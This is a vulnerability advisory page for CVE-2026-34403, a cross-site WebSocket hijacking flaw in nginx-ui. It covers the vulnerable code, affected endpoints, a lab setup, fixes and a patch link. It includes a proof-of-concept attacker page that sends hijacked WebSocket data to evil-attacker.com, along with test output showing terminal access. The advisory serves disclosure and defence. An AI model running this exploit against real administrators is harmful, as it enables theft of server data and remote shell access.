Deploy autonomous AI agents that reason, exploit, and validate complex vulnerability chains — not another scanner, an agentic system that thinks like a senior pentester.
CVE-2026-34403 is a high severity vulnerability with a CVSS score of 8.1. No known exploits currently, and patches are available.
Very low probability of exploitation
EPSS predicts the probability of exploitation in the next 30 days based on real-world threat data, complementing CVSS severity scores with actual risk assessment.
All WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page.
Every WebSocket endpoint in the codebase uses the same unsafe upgrader configuration:
// Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go,
// api/nginx_log/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go,
// api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go,
// api/llm/llm.go, api/llm/code_completion.go, api/system/upgrade.go
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
return true // Accepts ALL origins
},
}
The Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts):
watch(token, v => {
cookies.set('token', v, { maxAge: 86400 }) // No HttpOnly, no SameSite
})
The backend middleware accepts tokens from cookies (internal/middleware/middleware.go):
func getToken(c *gin.Context) (token string) {
// ...
if token, _ = c.Cookie("token"); token != "" {
return token
}
return ""
}
All WebSocket endpoints under the authenticated router group are vulnerable:
| Endpoint | Impact | |---|---| | /api/nginx/detail_status/ws | Leak nginx performance metrics and configuration | | /api/events | Leak system processing events | | /api/analytic/intro | Leak CPU, memory, disk, network statistics | | /api/nginx_log | Read nginx log files (access/error logs) | | /api/pty | Interactive terminal access (RCE if OTP not enabled) | | /api/upgrade/perform | Trigger system binary upgrade | | /api/cluster/nodes/enabled | Leak and manipulate cluster node data |
| Vendor | Product |
|---|---|
| Nginxui | Nginx Ui |
Please cite this page when referencing data from Strobes VI. Proper attribution helps support our vulnerability intelligence research.
services:
nginx-ui:
image: uozi/nginx-ui:latest
ports:
- "9000:80"
volumes:
- nginx-ui-config:/etc/nginx-ui
volumes:
nginx-ui-config:
<script>
// Attacker page at http://evil-attacker.com
// Victim must be logged into nginx-ui
const ws = new WebSocket('ws://TARGET_NGINX_UI:9000/api/nginx/detail_status/ws');
ws.onopen = () => console.log('CSWSH: Connected from malicious origin!');
ws.onmessage = (e) => {
console.log('Stolen data:', e.data);
fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data});
};
</script>
[+] VULNERABLE! WebSocket connected from http://evil-attacker.com
[+] Received: {"stub_status_enabled":false,"running":true,"info":{"active":0,...}}
[+] VULNERABLE! Event stream from http://evil-attacker.com
[+] Received: {"event":"processing_status","data":{"index_scanning":false,...}}
[+] VULNERABLE! Analytics from http://evil-attacker.com
[+] Received: {"avg_load":{"load1":0.1,"load5":0.2},"cpu_percent":0.08,...}
[+] CRITICAL: Terminal connected from http://evil-attacker.com!
[+] Terminal output: 'eae7a76e3ef4 login: '
[*] Sent username: root
[+] Output: 'Password: '
[+] Control test (no auth): Correctly rejected with HTTP 403
An attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently:
The attack requires no privileges and no knowledge of the victim's credentials. The only user interaction needed is visiting a webpage.
var upgrader = websocket.Upgrader{
CheckOrigin: func(r *http.Request) bool {
origin := r.Header.Get("Origin")
return isAllowedOrigin(origin)
},
}
cookies.set('token', v, { maxAge: 86400, sameSite: 'strict', secure: true })
A patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5